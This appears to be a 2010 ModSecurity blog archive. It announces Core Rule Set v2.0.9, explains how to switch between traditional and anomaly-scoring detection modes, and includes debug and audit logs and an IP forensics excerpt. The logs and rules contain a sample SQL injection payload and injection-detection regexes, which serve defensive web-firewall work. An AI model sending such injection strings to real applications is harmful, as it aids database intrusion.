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ModSecurity Blog: November 2010

Announcing Release of CRS v2.0.9

Greetings everyone,

I am pleased to announce the release of the OWASP ModSecurity Core Rule Set (CRS) v2.0.9.

The most significant change is that users can now easily toggle between Traditional or Anomaly Scoring Detection modes.

CHANGE LOG -

--------------------------

Version 2.0.9 - 11/17/2010

--------------------------

 

Improvements:

- Changed the name of the main config file to modsecurity_crs_10_config.conf.example so that

  it will not overwrite existing config settings.  Users should rename this file to activate

  it.

- Traditional detection mode is now the current default

- Users can now more easily toggle between traditional/standard mode vs. anomaly scoring mode

  by editing the modsecurity_crs_10_config.conf file

- Updated the disruptive actions in most rules to use "block" action instead of "pass".  This

  is to allow for the toggling between traditional vs. anomaly scoring modes.

- Removed logging actions from most rules so that it can be controlled from the SecDefaultAction

  setting in the modsecurity_crs_10_config.conf file

- Updated the anomaly scores in the modsecurity_crs_10_config.conf file to more closely match

  what is used in the PHPIDS rules.  These still have the same factor of severity even though

  the numbers themselves are smaller.

- Updated the 49 and 59 blocking rules to include the matched logdata

- Updated the TAG data to further classify attack/vuln categories.

- Updated the SQL Injection filters to detect more boolean logic attacks

- Moved some files to optional_rules directory (phpids, Emerging Threats rules)

 

Bug Fixes:

- Fixed Rule ID 960023 in optional_rules/modsecurity_crs_40_experimental.conf is missing 1 single quote

  https://www.modsecurity.org/tracker/browse/CORERULES-63

- Moved all skipAfter actions in chained rules to the rule starter line (must have ModSec v2.5.13 or higher)

  https://www.modsecurity.org/tracker/browse/MODSEC-159

- Fixed restricted file extension bug with macro expansion

  https://www.modsecurity.org/tracker/browse/CORERULES-60

- Updated the SQLI TX variable macro expansion data in the 49 and 60 files so that

  it matches what is being set in the sql injection conf file

- Fixed typo in SQL Injection regexs - missing backslash for word boundary (\b)

  https://www.modsecurity.org/tracker/browse/CORERULES-62

 

--------------------------

DOWNLOADING

--------------------------

Manual Downloading:

You can always download the latest CRS version here -

https://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CURRENT/

 

Automated Downloading:

Use the rules-updater.pl script in the CRS /util directory

# Get a list of what the repository contains:

$ ./rules-updater.pl -rhttp://www.modsecurity.org/autoupdate/repository/ -l

Repository: http://www.modsecurity.org/autoupdate/repository

modsecurity-crs {

          2.0.0: modsecurity-crs_2.0.0.zip

          2.0.1: modsecurity-crs_2.0.1.zip

          2.0.2: modsecurity-crs_2.0.2.zip

          2.0.3: modsecurity-crs_2.0.3.zip

          2.0.4: modsecurity-crs_2.0.4.zip

          2.0.5: modsecurity-crs_2.0.5.zip

          2.0.6: modsecurity-crs_2.0.6.zip

          2.0.7: modsecurity-crs_2.0.7.zip

          2.0.8: modsecurity-crs_2.0.8.zip

          2.0.9: modsecurity-crs_2.0.9.zip

}

 

# Get the latest stable version of "modsecurity-crs":

$ ./rules-updater.pl -rhttp://www.modsecurity.org/autoupdate/repository/ -prules -Smodsecurity-crs

Fetching: modsecurity-crs/modsecurity-crs_2.0.9.zip ...

$ ls -R rules

modsecurity-crs

 

rules/modsecurity-crs:

modsecurity-crs_2.0.9.zip    modsecurity-crs_2.0.9.zip.sig

 

Advanced Topic of the Week: Traditional vs. Anomaly Scoring Detection Modes

In the latest SVN trunk version of the CRS (2.0.9), we have implemented the capability for users to easily toggle between Traditional or Anomaly Scoring detection modes.  This will most likely come as very welcomed enhancement for many users.  With the initial CRS v2.0, I feel that we jumped the gun a bit and in reality forced end users into using an Anomaly Scoring detection mode.  In hindsight, this was not the right thing to do.  The CRS should not force users into using any one specific mode of operation.  So, we went back to the proverbial drawing-board and implemented a number of updates which now allow a user to more easy switch between detection modes of operation.

Once you have downloaded and unpacked the CRS archive, you should review/update the new modsecurity_crs_10_config.conf.example file.  This is the central configuration file which will allow you to control how the CRS will work.  In this file, you can control the following related CRS items: 

  • Mode of Detection – Traditional vs. Anomaly Scoring
  • Anomaly Scoring Severity Levels
  • Anomaly Scoring Threshold Levels (Blocking)
  • Enable/Disable Blocking
  • Choose where to log events (Apache error_log and/or ModSecurity’s audit log)

In order to facilitate the operating mode change capability, we had to make some changes to the rules.  Specifically, most rules now use the generic block action instead of specifying any exact action to take.  This change makes it easy for the user to adjust settings in the SecDefaultAction and these will become inherited by the SecRules.  This is a good approach to use for a 3rd party set of rules as our goal is detection of issues and not telling the user how to react to it.  We also removed the logging actions from the rules so that the user can now also control exactly where they want the rules to log alerts to.

Please review this entire blog post so that you will have a better understanding of your operating mode options and you can make an informed decision about your selection.

CRS Operating Modes

Traditional Detection Mode - Self-Contained Rules Concept 

Traditional Detection Mode (or IDS/IPS mode) is the new default operating mode.  This is the most basic operating mode where all of the rules are “self-contained.”  Just like HTTP itself, the individual rules are stateless.  This means that no intelligence is shared between rules and each rule has no information about any previous rule matches.  It only uses its current, single rule logic for detection.  In this mode, if a rule triggers, it will execute any disruptive/logging actions specified on the current rule.

Configuring Traditional Mode

If you want to run the CRS in Traditional mode, you can do this easily by verifying the SecDefaultAction line in the modsecurity_crs_10_config.conf file uses a disruptive action such as deny:

#
# -=[ Mode of Operation ]=-
#
# You can now choose how you want to run the modsecurity rules -
#
#       Anomaly Scoring vs. Traditional
#
# Each detection rule uses the "block" action which will inherit the SecDefaultAction
# specified below.  Your settings here will determine which mode of operation you use.
#
# Traditional mode is the current default setting and it uses "deny" (you can set any
# disruptive action you wish)
#
# If you want to run the rules in Anomaly Scoring mode (where blocking is delayed until the
# end of the request phase and rules contribute to an anomaly score) then set the 
# SecDefaultAction to "pass"
#
# You can also decide how you want to handle logging actions.  You have three options -
#
#       - To log to both the Apache error_log and ModSecurity audit_log file use - log
#       - To log *only* to the ModSecurity audit_log file use - nolog,auditlog
#       - To log *only* to the Apache error_log file use - log,noauditlog
#
SecDefaultAction "phase:2,deny,log"

This setting mimics the previous CRS detection mode.  When a CRS rule matches, it will be denied and then the alert data will be logged to both the Apache error_log file and ModSecurity Audit log file.  Here is an example error_log message for an SQL Injection attack:

[Tue Nov 16 16:02:38 2010] [error] [client ::1] ModSecurity: Access denied with
 code 403 (phase 2). Pattern match "\\bselect\\b.{0,40}\\buser\\b" at ARGS:foo. 
[file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] 
[line "67"] [id "959514"] [rev "2.0.9"] [msg "Blind SQL Injection Attack"] 
[data "select * from user"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] 
[tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] 
[tag "PCI/6.5.2"] [hostname "localhost"] [uri "/vulnerable_app.php"] 
[unique_id "TOLxbsCoC2oAABvWGW4AAAAA"]

This message format looks identical to the traditional rule logging format. 

Pros and Cons of Traditional Detection Mode

Pros
  • The benefit of this operating mode is that is much easier for a new user to understand.
  • Better performance (lower latency/resources) as the first disruptive match will stop further processing.  
Cons
Not optimal from a rules management perspective (handling false positives/exceptions)
  • Editing a rule's complex Regular Expressions was difficult
  • Typical method is to copy/paste the existing rule into a local custom rules file, edit the logic and then disable the existing CRS rule
  • End result was that heavily customized rule sets were not updated when new CRS versions were released
Not optimal from a security perspective
  • Not every site has the same risk tolerance
  • Lower severity alerts are largely ignored
  • Single low severity alerts may not be deemed critical enough to block, but multiple lower severity alerts in aggregate could be

Anomaly Scoring Detection Mode - Collaborative Rules Concept

In this advanced inspection mode, we are implementing the concept of Collaborative Detection and Delayed Blocking.  By this I mean that we have changed the rules logic by decoupling the inspection/detection from the blocking functionality.  The individual rules can be run so that the detection remains, however instead of applying any disruptive action at that point, the rules will contribute to a transactional anomaly score collection.  In addition, each rule will also store meta-data about each rule match (such as the Rule ID, Attack Category, Matched Location and Matched Data) within a unique TX variable.  

Configuring Anomaly Scoring Detection Mode

If you want to run the CRS in Anomaly Scoring mode, you can do this easily by updating the SecDefaultAction line in the modsecurity_crs_10_config.conf file to use the pass action:

#
# -=[ Mode of Operation ]=-
#
# You can now choose how you want to run the modsecurity rules -
#
#       Anomaly Scoring vs. Traditional
#
# Each detection rule uses the "block" action which will inherit the SecDefaultAction
# specified below.  Your settings here will determine which mode of operation you use.
#
# Traditional mode is the current default setting and it uses "deny" (you can set any
# disruptive action you wish)
#
# If you want to run the rules in Anomaly Scoring mode (where blocking is delayed until the
# end of the request phase and rules contribute to an anomaly score) then set the 
# SecDefaultAction to "pass"
#
# You can also decide how you want to handle logging actions.  You have three options -
#
#       - To log to both the Apache error_log and ModSecurity audit_log file use - log
#       - To log *only* to the ModSecurity audit_log file use - nolog,auditlog
#       - To log *only* to the Apache error_log file use - log,noauditlog
#
SecDefaultAction "phase:2,pass,log"

In this new mode, each matched rule will not block, but rather will increment anomaly scores using ModSecurity's setvar action.  Here is an example of an SQL Injection CRS rule that is using setvar actions to increase both the overall anomaly score and the SQL Injection sub-category score:

 SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bselect\b.{0,40}\buser\b" \
      "phase:2,rev:'2.0.9',capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,
block,msg:'Blind SQL Injection Attack',id:'959514',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

Anomaly Scoring Severity Levels

Each rule has a severity level specified.  We have updated the rules to allow for the anomaly score collection incrementation to use macro expansion.  Here is an example:

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bselect\b.{0,40}\buser\b" \
       "phase:2,rev:'2.0.9',capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,
t:compressWhiteSpace,ctl:auditLogParts=+E,block,msg:'Blind SQL Injection Attack',
id:'959514',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',
setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},
setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

This allows the user to set their own anomaly score values from within the modsecurity_crs_10_config.conf file and these will be propagated out for use in the rules by using macro expansion.

#
# -=[ Anomaly Scoring Severity Levels ]=-
#
# These are the default scoring points for each severity level.  You may
# adjust these to you liking.  These settings will be used in macro expansion
# in the rules to increment the anomaly scores when rules match.
#
# These are the default Severity ratings (with anomaly scores) of the individual rules -
#
#    - 2: Critical - Anomaly Score of 5.
#         Is the highest severity level possible without correlation.  It is
#         normally generated by the web attack rules (40 level files).
#    - 3: Error - Anomaly Score of 4.
#         Is generated mostly from outbound leakage rules (50 level files).
#    - 4: Warning - Anomaly Score of 3.
#         Is generated by malicious client rules (35 level files).
#    - 5: Notice - Anomaly Score of 2.
#         Is generated by the Protocol policy and anomaly files.
#
SecAction "phase:1,t:none,nolog,pass, \
setvar:tx.critical_anomaly_score=5, \
setvar:tx.error_anomaly_score=4, \
setvar:tx.warning_anomaly_score=3, \
setvar:tx.notice_anomaly_score=2"

This configuration would mean that every CRS rule that has a Severity rating of "Critical" would increase the transactional anomaly score by 5 points per rule match.  When we have a rule match, you can see how the anomaly scoring works from within the modsec_debug.log file:

Executing operator "rx" with param "\\bselect\\b.{0,40}\\buser\\b" against ARGS:foo.
Target value: "\xe2\x80\x98 union select * from user &#"
Added regex subexpression to TX.0: select * from user
Operator completed in 14 usec.
Ctl: Set auditLogParts to ABIFHZE.
Setting variable: tx.msg=%{rule.msg}
Resolved macro %{rule.msg} to: Blind SQL Injection Attack
Set variable "tx.msg" to "Blind SQL Injection Attack".
Setting variable: tx.sql_injection_score=+%{tx.critical_anomaly_score}
Recorded original collection variable: tx.sql_injection_score = "0"
Resolved macro %{tx.critical_anomaly_score} to: 5
Relative change: sql_injection_score=0+5
Set variable "tx.sql_injection_score" to "5".
Setting variable: tx.anomaly_score=+%{tx.critical_anomaly_score}
Recorded original collection variable: tx.anomaly_score = "0"
Resolved macro %{tx.critical_anomaly_score} to: 5
Relative change: anomaly_score=0+5
Set variable "tx.anomaly_score" to "5".
Setting variable: tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}
Resolved macro %{rule.id} to: 959514
Resolved macro %{matched_var_name} to: ARGS:foo
Resolved macro %{tx.0} to: select * from user
Set variable "tx.959514-WEB_ATTACK/SQL_INJECTION-ARGS:foo" to "select * from user".
Resolved macro %{TX.0} to: select * from user
Warning. Pattern match "\bselect\b.{0,40}\buser\b" at ARGS:foo. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "67"] [id "959514"] [rev "2.0.9"] [msg "Blind SQL Injection Attack"] [data "select * from user"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]

Anomaly Scoring Threshold Levels (Blocking)

Now that we have the capability to do anomaly scoring, the next step is to set our thresholds.  This is the score value at which, if the current transactional score is above, it will be denied.  We have two different anomaly scoring thresholds to set - one for the inbound request (which is evaluated at the end of phase:2 in the modsecurity_crs_49_inbound_blocking.conf file) and one for outbound information leakages (which is evaluated at the end of phase:4 in the modsecurity_crs_50_outbound_blocking.conf file):

#
# -=[ Anomaly Scoring Threshold Levels ]=-
#
# These variables are used in macro expansion in the 49 inbound blocking and 59
# outbound blocking files.
#
# **MUST HAVE** ModSecurity v2.5.12 or higher to use macro expansion in numeric
# operators.  If you have an earlier version, edit the 49/59 files directly to
# set the appropriate anomaly score levels.
#
# You should set the score to the proper threshold you would prefer. If set to "5"
# it will work similarly to previous Mod CRS rules and will create an event in the error_log
# file if there are any rules that match.  If you would like to lessen the number of events
# generated in the error_log file, you should increase the anomaly score threshold to
# something like "20".  This would only generate an event in the error_log file if
# there are multiple lower severity rule matches or if any 1 higher severity item matches.
#
SecAction "phase:1,t:none,nolog,pass,setvar:tx.inbound_anomaly_score_level=5"
SecAction "phase:1,t:none,nolog,pass,setvar:tx.outbound_anomaly_score_level=4"

With these current default settings, anomaly scoring mode will act similarly to traditional mode from a blocking perspective.  Since all critical level rules increase the anomaly score by 5 points, this means that even 1 critical level rule match will cause a block.  If you want to adjust the anomaly score so that you have a lower chance of blocking non-malicious clients (false positives) you could raise the tx.inbound_anomaly_score_level settings to something higher like 10 or 15.  This would mean that two or more critical severity rules have matched before you decide to block.  Another advantage of this approach is that you could aggregate multiple lower severity rule matches and then decide to block.  So, one lower severity rule match (such as missing a Request Header such as Accept) would not result in a block but if multiple anomalies are triggered then the request would be blocked.  

Enable/Disable Blocking

You are probably familiar with the SecRuleEngine directive which allows you to control blocking mode (On) vs. Detection mode (DetectionOnly).  With the new Anomaly Scoring detection mode, if you want to allow blocking, you should set the SecRueEngine to On and then set the following TX variable in the modsecurity_crs_10_config.conf file:

#
# -=[ Anomaly Scoring Block Mode ]=-
#
# This is a collaborative detection mode where each rule will increment an overall
# anomaly score the transaction. The scores are then evaluated in the following files:
#
# Inbound anomaly score - checked in the modsecurity_crs_49_inbound_blocking.conf file
# Outbound anomaly score - checked in the modsecurity_crs_59_outbound_blocking.conf file
#
# If you do not want to use anomaly scoring mode, then comment out this line.
#
SecAction "phase:1,t:none,nolog,pass,setvar:tx.anomaly_score_blocking=on"

This is the rule within the modsecurity_crs_49_inbound_blocking.conf file that evaluates the anomaly scores at the end of the request phase and will block the request:

# Alert and Block based on Anomaly Scores
#
SecRule TX:ANOMALY_SCORE "@gt 0" \
    "chain,phase:2,t:none,deny,log,msg:'Inbound Anomaly Score Exceeded (Total Score: %{TX.ANOMALY_SCORE}, SQLi=%{TX.SQL_INJECTION_SCORE}, XSS=%{TX.XSS_SCORE}): Last Matched Message: %{tx.msg}',logdata:'Last Matched Data: %{matched_var}',setvar:tx.inbound_tx_msg=%{tx.msg},setvar:tx.inbound_anomaly_score=%{tx.anomaly_score}"
        SecRule TX:ANOMALY_SCORE "@ge %{tx.inbound_anomaly_score_level}" chain
                SecRule TX:ANOMALY_SCORE_BLOCKING "@streq on" chain
                        SecRule TX:/^\d/ "(.*)"

# Alert and Block on a specific attack category such as SQL Injection
#
# SecRule TX:SQL_INJECTION_SCORE "@gt 0" \
#    "phase:2,t:none,log,block,msg:'SQL Injection Detected (score %{TX.SQL_INJECTION_SCORE}): %{tx.msg}'"

Notice that there is also another rule that is comment out by default.  This example rule shows how you could alternatively choose to inspect/block based on a sub-category anomaly score (in the this example for SQL Injection).  Let's take a look to see how this looks from within the modsec_debug.log file:

Recipe: Invoking rule 101a68700; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "18"].
Rule 101a68700: SecRule "TX:ANOMALY_SCORE" "@gt 0" "phase:2,log,chain,t:none,deny,msg:'Inbound Anomaly Score Exceeded (Total Score: %{TX.ANOMALY_SCORE}, SQLi=%{TX.SQL_INJECTION_SCORE}, XSS=%{TX.XSS_SCORE}): Last Matched Message: %{tx.msg}',logdata:'Last Matched Data: %{matched_var}',setvar:tx.inbound_tx_msg=%{tx.msg},setvar:tx.inbound_anomaly_score=%{tx.anomaly_score}"
Transformation completed in 1 usec.
Executing operator "gt" with param "0" against TX:anomaly_score.
Target value: "10"
Operator completed in 3 usec.
Setting variable: tx.inbound_tx_msg=%{tx.msg}
Resolved macro %{tx.msg} to: SQL Injection Attack
Set variable "tx.inbound_tx_msg" to "SQL Injection Attack".
Setting variable: tx.inbound_anomaly_score=%{tx.anomaly_score}
Resolved macro %{tx.anomaly_score} to: 10
Set variable "tx.inbound_anomaly_score" to "10".
Rule returned 1.
Match -> mode NEXT_RULE.
Recipe: Invoking rule 101a761e0; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "19"].
Rule 101a761e0: SecRule "TX:ANOMALY_SCORE" "@ge %{tx.inbound_anomaly_score_level}" "chain"
Transformation completed in 0 usec.
Executing operator "ge" with param "%{tx.inbound_anomaly_score_level}" against TX:anomaly_score.
Target value: "10"
Resolved macro %{tx.inbound_anomaly_score_level} to: 5
Operator completed in 10 usec.
Rule returned 1.Match -> mode NEXT_RULE.
Recipe: Invoking rule 101a76880; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "20"].
Rule 101a76880: SecRule "TX:ANOMALY_SCORE_BLOCKING" "@streq on" "chain"
Transformation completed in 1 usec.
Executing operator "streq" with param "on" against TX:anomaly_score_blocking.
Target value: "on"
Operator completed in 1 usec.
Rule returned 1.Match -> mode NEXT_RULE.
Recipe: Invoking rule 101a76e28; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "21"].
Rule 101a76e28: SecRule "TX:/^\\d/" "@rx (.*)"
Expanded "TX:/^\d/" to "TX:0|TX:959514-WEB_ATTACK/SQL_INJECTION-ARGS:foo|TX:959047-WEB_ATTACK/SQL_INJECTION-ARGS:foo".
Transformation completed in 0 usec.
Executing operator "rx" with param "(.*)" against TX:0.
Target value: "union select"
Ignoring regex captures since "capture" action is not enabled.
Operator completed in 8 usec.
Rule returned 1.
Match, intercepted -> returning.
Resolved macro %{TX.ANOMALY_SCORE} to: 10
Resolved macro %{TX.SQL_INJECTION_SCORE} to: 10
Resolved macro %{tx.msg} to: SQL Injection Attack
Resolved macro %{matched_var} to: union select
Access denied with code 403 (phase 2). Pattern match "(.*)" at TX:0. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "18"] 
[msg "Inbound Anomaly Score Exceeded (Total Score: 10, SQLi=10, XSS=): Last Matched Message: SQL Injection Attack"] [data "Last Matched Data: union select"]

Alert Management - Correlated Events

The CRS events in the Apache error_log file can become very chatty. This is due to running the CRS in traditional detection mode where each rule is triggering its own error_log entry. What would be more useful for the security analyst would be for only 1 correlated event to be generated and logged to the Apache error_log file that would give the user a higher level determination of the transaction severity.

To achieve this capability, the CRS can be run in Anomaly Scoring mode where each individual rule will generate an audit log event Message entry but they will not log to the error_log on their own. These rules are considered basic or reference events (that have contributed to the overall anomaly score) and may be reviewed in the audit log if the user wants to see what individual events contributed to the overall anomaly score and event designation.  To configure this capability, simply edit the SecDefaultAction line in the modsecurity_crs_10_config.conf file like this:

#
# -=[ Mode of Operation ]=-
#
# You can now choose how you want to run the modsecurity rules -
#
#       Anomaly Scoring vs. Traditional
#
# Each detection rule uses the "block" action which will inherit the SecDefaultAction
# specified below.  Your settings here will determine which mode of operation you use.
#
# Traditional mode is the current default setting and it uses "deny" (you can set any
# disruptive action you wish)
#
# If you want to run the rules in Anomaly Scoring mode (where blocking is delayed until the
# end of the request phase and rules contribute to an anomaly score) then set the 
# SecDefaultAction to "pass"
#
# You can also decide how you want to handle logging actions.  You have three options -
#
#       - To log to both the Apache error_log and ModSecurity audit_log file use - log
#       - To log *only* to the ModSecurity audit_log file use - nolog,auditlog
#       - To log *only* to the Apache error_log file use - log,noauditlog
#
SecDefaultAction "phase:2,pass,nolog,auditlog"

With this setting, rule matches will log the standard Message data to the modsec_audit.log file.  You will still get 1 correlated event logged to the normal Apache error_log file from the rules within the modsecurity_crs_49_inbound_blocking.conf file.  The resulting Apache error_log entry would look like this:

[Wed Nov 17 11:46:56 2010] [error] [client ::1] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(.*)" at TX:0. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "18"] 
[msg "Inbound Anomaly Score Exceeded (Total Score: 10, SQLi=10, XSS=): Last Matched Message: SQL Injection Attack"] [data "Last Matched Data: union select"] [hostname "localhost"] [uri "/vulnerable_app.php"] [unique_id "TOQHAMCoAWcAAB7KHl0AAAAB"]

This entry tells us that there was an SQL Injection attack identified on the inbound request.  We see that Total anomaly score is 10 and that the sub-category score of SQLi is 10.  This tells us that there were 2 different SQL Injection rules that triggered.  If you want to see the details of all of the reference events (individual rules that contributed to this correlated event), you can review the modsec_audit.log data for this transaction.  Section H of the audit log shows rule matches:

--0a4c3b0e-A-- 
[17/Nov/2010:11:46:56 --0500] TOQHAMCoAWcAAB7KHl0AAAAB ::1 49415 ::1 80 
--0a4c3b0e-B-- 
GET /vulnerable_app.php?foo=%E2%80%98+UNION+SELECT+*+FROM+user+%26%23 HTTP/1.1 
Host: localhost 
Connection: keep-alive 
Cache-Control: max-age=0 
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 
Accept-Encoding: gzip,deflate,sdch 
Accept-Language: en-US,en;q=0.8 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
  
--0a4c3b0e-F-- 
HTTP/1.1 403 Forbidden 
Content-Length: 220 
Keep-Alive: timeout=5, max=100 
Connection: Keep-Alive 
Content-Type: text/html; charset=iso-8859-1  

--0a4c3b0e-H-- 
Message: Pattern match "\bselect\b.{0,40}\buser\b" at ARGS:foo. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "67"] [id "959514"] [rev "2.0.9"] [msg "Blind SQL Injection Attack"] [data "select * from user"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] 
Message: Pattern match "\bunion\b.{1,100}?\bselect\b" at ARGS:foo. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "257"] [id "959047"] [rev "2.0.9"] [msg "SQL Injection Attack"] [data "union select"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] 
Message: Access denied with code 403 (phase 2). Pattern match "(.*)" at TX:0. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "18"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10, SQLi=10, XSS=): Last Matched Message: SQL Injection Attack"] [data "Last Matched Data: union select"] 
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_60_correlation.conf"] [line "36"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10, SQLi=10, XSS=): SQL Injection Attack"] 
Action: Intercepted (phase 2) 
Stopwatch: 1290012416382280 122228 (8369 120370 -) 
Producer: ModSecurity for Apache/2.5.13dev2 (http://www.modsecurity.org/); core ruleset/2.0.9. 
Server: Apache/2.2.12 (Unix) mod_ssl/2.2.12 OpenSSL/0.9.8l DAV/2  
--0a4c3b0e-Z--

By reviewing the audit log entry for this event, you can see all of the details of the two different SQL Injection rules that triggered on this request and contributed to the anomaly score.

Pros and Cons of Anomaly Scoring Detection Mode

Pros

  • An increased confidence in blocking - since more detection rules contribute to the anomaly score, the higher the score, the more confidence you can have in blocking malicious transactions.
  • Allows users to set a threshold that is appropriate for them - different sites may have different thresholds for blocking.
  • Allows several low severity events to trigger alerts while individual ones are suppressed.
  • One correlated event helps alert management.
  • Exceptions may be handled by either increasing the overall anomaly score threshold, or by adding rules to a local custom exceptions file where TX data of previous rule matches may be inspected and anomaly scores re-adjusted based on the false positive criteria.

Cons

  • More complex for the average user.
  • Log monitoring scripts may need to be updated for proper analysis

ModSecurity 2.5.13 release candidate

Already available a release candidate of 2.5.13 ModSecurity into svn repository (branch 2.5.x).

There are some improvements, new features and bug fixes like :

New features:

    * Added new setvar Lua API to be used into Lua scripts

     * Added new Base64 transformation function called base64DecodeExt, which
       can decode base64 data skipping special characters.

       In the past we mentioned this topic here: Impedance mismatch and base64

Improvement

     * Added PCRE messages indicates each rule that exceed match limits

     * Fixed Geo lookup concurrent connections bug

     * Fixed Skip/SkipAfter chain bug

     * Cleaned up some mlogc code and debugging output.

     * Remove the ability to use a relative path to a piped audit logger
       (i.e. mlogc) as Apache does not support it in their piped loggers
       and it was breaking Windows and probably other platforms that
       use spaces in filesystem paths.  Discovered by Tom Donovan.

     * Fix memory leak freeing regex.  Discovered by Tom Donovan.

     * Fix some portability issues on Windows.

If you want to get it and test the new features, just follow the steps:

1 - Create a directory to clone the code:

    mkdir /home/brenosilva/svn/modsecurity

    cd /home/brenosilva/svn

2 - Clone the source code:

    SVN:
        svn co https://mo​d-security​.svn.sourc​eforge.net​/svnroot/m​od-securit​y/m2/branc​hes/2.5.x modsecurity

    GIT:
        git svn clone --prefix=svn/ https://mo​d-security​.svn.sourc​eforge.net​/svnroot/m​od-securit​y/m2/branc​hes/2.5.x modsecurity

3 - Make sure you cloned the last rev:

    Checked out HEAD:
        https://mo​d-security​.svn.sourc​eforge.net​/svnroot/m​od-securit​y/m2/branc​hes/2.5.x r1544

Detecting Malice with ModSecurity: IP Forensics

This week's installment of Detecting Malice with ModSecurity will discuss the value of obtaining data about client IP Addresses.

IP Forensic Section of Robert "Rsnake" Hansen's book "Detecting Malice" -

Whenever someone connects to your server you get their IP address. Technically speaking, this piece of information is very reliable--because of the three-way handshake, which I discussed in Chapter 1, an IP address used in a full TCP/IP connection typically cannot be spoofed. That may not matter much because, as this chapter will show, there are many ways for attackers to hide their tracks and connect to our servers not from their real IP addresses, but from addresses they will use as mere pawns in the game.

Almost the first thing people inquire into when they encounter computer crime is the location of the attacker. They want to know who the attacker is, where he is, and where he came from. These are all reasonable things to latch onto; but not always the first thing that comes to my mind.

I have a pretty particular way I like to think about IP addresses and forensics in particular. I am very practical. I want to find as much as I can, but only to the extent that whatever effort is spent toward uncovering the additional information is actually helpful. The goal of recording and knowing an offending IP address is to use it to determine intent of the attacker, and his motivation—is he politically, socially or monetarily motivated? Everything else comes at the end, and then only if you really need to catch the bad guy.

..snip..

Many attackers have failed to learn their lesson, either because of ignorance or stupidity and hack from their house. Although getting warrants for arrest can be time consuming, costly and difficult, it’s still possible and if you can narrow down an attacker’s IP address to a single location that will make the process much easier. Techniques such as reverse DNS resolution, WHOIS, and geolocation are commonly used to uncover useful real-world information on IP addresses.

Reverse DNS Resolution

One of the most useful tools in your arsenal can be to do a simple DNS resolution against the IP address of the attacker (retrieving the name associated with an IP address is known as reverse DNS resolution). Sometimes you can see the real name of the owner of the broadband provider.

WHOIS Database

Whois is a protocol that supports lookups against domain name, IP address and autonomous system number databases. If reverse DNS lookup provides little useful information, you can try running the whois command on the same IP address in order to retrieve the official owner information. You may get very interesting results. Sometimes it is possible to retrieve the actual name of the person or company at that IP address.


Gathering IP Data in ModSecurity

You can access and use the REMOTE_HOST variable in ModSecurity to log the client's registered DNS name.  The problem is that this variable will only have data if Apache has been configured with HostnameLookups On.  This is not the default as it will be a big performance hit to do nslookups on all clients.  So, how can we gather client hostname information without incurring the overall performance hit?

Conditional Hostname Lookups in Lua

